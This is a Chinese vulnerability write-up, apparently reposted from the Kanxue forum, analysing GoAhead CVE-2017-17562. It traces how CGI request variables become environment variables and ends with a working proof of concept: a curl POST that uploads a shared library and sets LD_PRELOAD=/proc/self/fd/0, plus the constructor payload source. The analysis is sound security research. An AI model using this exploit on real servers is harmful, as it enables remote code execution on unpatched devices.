GOAhead CVE-2017-17562深入分析
1. 前提准备
GOAhead是一个嵌入式的webserver,前几周被爆出一个远程命令执行的漏洞,受漏洞影响版本:2.5-3.6.4。本文进行该漏洞的深入分析,漏洞调试环境:Ubuntu 16.04 64bit,GOAhead版本3.6.4,下载地址:https://github.com/embedthis/goahead/releases。
1.1 GOAhead软件下载和配置
GOAhead安装和cgi扩展启用参考:http://blog.csdn.net/yangguihao/article/details/49820765。
GOAhead要启用CGI时,记的是修改要修改/etc/goahead中的route.txt。
dir是cgi的存放目录,其目录下存放一个cgi_test,里面内容随便写,然后gcc编译即可。
输入cgi的url:http://172.20.94.98:8888/cgi-bin/cgi_test
1.2 LD_PRELOAD执行环境变量分析
LD_PRELOAD是Linux系统的一个环境变量,用于动态库的加载执行,动态库加载的优先级最高,一般情况下,其加载顺序为:LD_PRELOAD>LD_LIBRARY>/etc/ld.so.cache >/lib>/usr/lib.
它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态库,甚至覆盖正常的函数库。
LA_PRELOAD替换前:
LA_PRELOAD替换后:
演示程序:
a.主程序(login.c)
#include <stdio.h>
#include <string.h>
#include "myverify.h"
void main(int argc, char const *argv[])
{
char pwd[] = "123456";
if(argc < 2)
{
printf("usage: %s <your password>\n", argv[0]);
return;
}
if(!verify(pwd, argv[1]))
{
printf("login success\n");
}
else
{
printf("login fail\n");
}
}
b.调用库(myverify.h和myverify.c)
#include <stdio.h>
int verify(const char *s1, const char *s2);
#include <stdio.h>
#include <string.h>
#include "myverify.h"
int verify(const char *s1, const char *s2)
{
return strcmp(s1, s2);
}
c.编译运行效果如下:
相关命令解释如下:
gcc myverify.c -fPIC -shared -o libmyverify.so #编译动态链接库
gcc login.c -L. -lmyverify -o mylogin #编译主程序
export LD_LIBRARY_PATH=/home/daizy/workplace/CDemo/LinuxAPI/ #指定动态链接库所在目录位置
ldd myverifypasswd #显示、确认依赖关系
d.替换代码如下:(myhack.c)
#include <stdio.h>
#include <string.h>
int verify(const char *s1, const char *s2)
{
printf("hack function invoked.\n");
return 0;
}
e.编译设置环境变量LD_PRELOAD,运行替换代码效果如下:
export LD_PRELOAD="./myhack.so" #设置LD_PRELOAD环境变
量,库中的同名函数在程序运行时优先调用
ps:替换结束,要还原函数调用关系,用命令unset LD_PRELOAD 解除
2.CVE分析
以GOAhead 3.6.4版本为例进行漏洞分析:
当用户post提交数据时,goahead最终会调用http.c中readEvent(Webs *wp)进行数据读取的处理,其中结构体Webs后续会常看到,此处先给出该结构体大致定义,在goahead.h中可以查找到:
typedef struct Webs {
WebsBuf rxbuf; /**< Raw receive buffer */
WebsBuf input; /**< Receive buffer after de-chunking */
WebsBuf output; /**< Transmit buffer after chunking */
WebsBuf chunkbuf; /**< Pre-chunking data buffer */
WebsBuf *txbuf;
WebsHash vars; /**< CGI standard variables */
int rxChunkState; /**< Rx chunk encoding state */
ssize rxChunkSize; /**< Rx chunk size */
char *rxEndp; /**< Pointer to end of raw data in input beyond endp */
ssize lastRead; /**< Number of bytes last read from the socket */
ssize txChunkPrefixLen; /**< Length of prefix */
ssize txChunkLen; /**< Length of the chunk */
int txChunkState; /**< Transmit chunk state */
char *filename; /**< Document path name */
char *path; /**< Path name without query. This is decoded. */
int sid; /**< Socket id (handler) */
int routeCount; /**< Route count limiter */
ssize rxLen; /**< Rx content length */
ssize rxRemaining; /**< Remaining content to read from client */
ssize txLen; /**< Tx content length header value */
int wid; /**< Index into webs */
#if ME_GOAHEAD_CGI
char *cgiStdin; /**< Filename for CGI program input */
int cgifd; /**< File handle for CGI program input */
#endif
struct WebsRoute *route; /**< Request route */
struct WebsUser *user; /**< User auth record */
WebsWriteProc writeData; /**< Handler write I/O event callback. Used by fileHandler */
} Webs;
其中说明几个重要字段,后续分析会使用到:rxbuf(接受post提交的数据的buf)、vars(需要CGI处理的变量)、cgiStdin(cgi处理程序的标准输入)、cgifd(cgi处理程序的文件句柄)。
readEvent(Webs *wp)代码如下:
readEvent中通过函数websRead读取用户提交的数据,并填充到rxbuf中,其中websRead()根据是否是https,采用sslread和socketRead来读取用户提交的数据。数据读取完成后,由于nbytes>0,进入到websPump()函数继续处理。
websPump 代码结构如下,本质就是一个for循环,停止条件取决于canProceed,然后根据wp->state来调用相关函数进行处理;刚开始state条件是0,也就是WEBS_BEGIN,进入到 parseIncoming 函数处理阶段。
PUBLIC void websPump(Webs *wp)
{
bool canProceed;
for (canProceed = 1; canProceed; ) {
switch (wp->state) {
case WEBS_BEGIN:
canProceed = parseIncoming(wp);
break;
case WEBS_CONTENT:
canProceed = processContent(wp);
break;
case WEBS_READY:
if (!websRunRequest(wp)) {
/* Reroute if the handler re-wrote the request */
websRouteRequest(wp);
wp->state = WEBS_READY;
canProceed = 1;
continue;
}
canProceed = (wp->state != WEBS_RUNNING);
break;
case WEBS_RUNNING:
/* Nothing to do until websDone is called */
return;
case WEBS_COMPLETE:
canProceed = complete(wp, 1);
break;
}
}
}
parseIncoming() 函数会 parseHeader() 进行 http header 头的处理【parseHeader函数中,根据 content-length 的值,设置 reLen 的值,由于 rxLen>0 然后 state=WEBS_CONTENT】。
然后进入函数 websRouteRequest(),根据1.1节里面提到的route.txt进行request route 处理设置,比如route到cgi处理。
判断 route->handler->service 是否是cgiHandler,如果是 cgiHandler,则先判断method,是否是post,然后设置cgiStdin=websGetCgiCommName(),同时 cgifd = open(cgiStdin),然后返回 1=canProceed,继续在 websPump() 函数的for循环中。parseIncoming 函数整体代码如下:
其中函数 websGetCgiCommName 调用的是 websTempFile 函数,该函数注释说明如下,返回的文件路径是/tmp/cgi***:
/**
Create a temporary filename
This does not guarantee the filename is unique or that it is not already in use by another application.
@param dir Directory to locate the temp file. Defaults to the O/S default temporary directory (usually /tmp)
@param prefix Filename prefix
@return An allocated filename string
@ingroup Webs
@stability Stable
*/
PUBLIC char *websTempFile(char *dir, char *prefix);
由于 state=WEBS_CONTENT,进入到 processContent() 函数处理:先进行filterChunkData函数的chunk过滤处理,当用户在http
头部,使用Transfer-Encoding:
chunked 时,数据以一系列分块的形式进行发送,分块传输不是分析重点,并且后续poc也不用分块传入,就不深入分析了,简而言之,filterChunkData 会设 canProceed=1,wp->eof=1;后续由于cgifd>0,因此进入到函数 websProcessCgiData
(),websProcessCgiData 处理完后,由于eof=1,因此 state= WEBS_READY。
websProcessCgiData 函数:也就是把用户post提交的数据,保存到cgifd中,就是先前通过 cgiStdin=websGetCgiCommName() 获得,也就是文件“/tmp/cgi***”。
此时由于 state= WEBS_READY,canProceed=1,进入到websRunRequest(wp) 函数中:该函数中就是先提取url中的var变量,然后设置state=WEBS_RUNNING,然后调用(*route->handler->service)(wp),即 cgiHandler (wp),还函数在cgi.c中。
由于cgiHandler()在处理cgi扩展时,只对 REMOTE_HOST 和HTTP_AUTHORIZATION 进行了过滤,其他var变量都会当成可信环境变量,传入到cgi扩展处理进程中。
Cgi.c中在处理完参数之后,然后将标准输入、输出重定向到:/tmp/cgi***,也就是post数据保存的地方,代码详情如下:
输入、输出重定向完成后,cgi.c中就调用launchCgi,开始调用cgi的扩展处理进程,并传入上述envp生成的环境变量。【注意:launchCgi分三个版本:windows、unix和VXWORKS,函数别定位错误】
找到launchCgi处理函数,代码如下:
执行到函数vfork()后,会将子进程(也就是cgi的处理进程)的标准出入、输出重定向到前文分析到的/tmp/cgi***文件,也就是post数据存放的文件;然后调用execve()调用cgi处理进程,并传递envp中的系统环境变量,结合上文分析的LA_PRELOAD变量,可以实现任意代码执行。
但是现在还存在一个问题,就是通过环境变量:LA_PRELOAD,可以指定加载本地的共享库,进行代码执行,但是如何变成远程危害命令执行呢?也就是如何上传恶意代码,并且通过环境变量:LA_PRELOAD,进行指定呢?
在前面分析中我们得知,由于goahead webserver在处理cgi扩展时,当用户post提交了数据,goahead webserver 会将其存到 /tmp/cgi*** 中,这不就是可以恶意代码了嘛?
但是如何知道上传的全路径名称呢?爆破还是其他,都不是好的方法。由于cgi处理进程中,将标准输入、输出重定向到了/tmp/cgi***,所以现在问题,就是我们能不能找到一个路径连接,是指向标准输入或输入的呢?Linux上刚好存在这种符号链接:/proc/self/fd/0和/dev/stdin,于是我们可以在HTTP参数中内置?LD_PRELOAD=/proc/self/fd/0命令。
整个goahead-cgi的执行流程图如下:
3. POC
daizy@daizy:~/workplace/CDemo$ curl -X POST --data-binary @payload.so http://172.20.94.98:8888/cgi-bin/cgi_test?LD_PRELOAD=/proc/self/fd/0 -i | head
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 8128 0 0 100 8128 0 7885 0:00:01 0:00:01 --:--:-- 7891
curl: (18) transfer closed with outstanding read data remaining
HTTP/1.1 200 OK
Date: Thu Dec 28 12:33:37 2017
Transfer-Encoding: chunked
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
Pragma: no-cache
Cache-Control: no-cache
hacked by daizy
其中payload.so是由以下代码编译获得:
#include <unistd.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
write(1, "hacked by daizy\n",16);
}
编译命令:gcc -shared -fPIC payload.c -o payload.so
其中标签属性:constructor,表示该函数由.init初始化时执行,也就是在cgi的扩展main函数之前会被执行。
4. 参考文章
1. https://www.elttam.com.au/blog/goahead/
2. https://www.cnblogs.com/net66/p/5609026.html
本文由看雪论坛 uestcdzy 原创
转载请注明来自看雪社区
热门阅读
点击阅读原文/read,
更多干货等着你~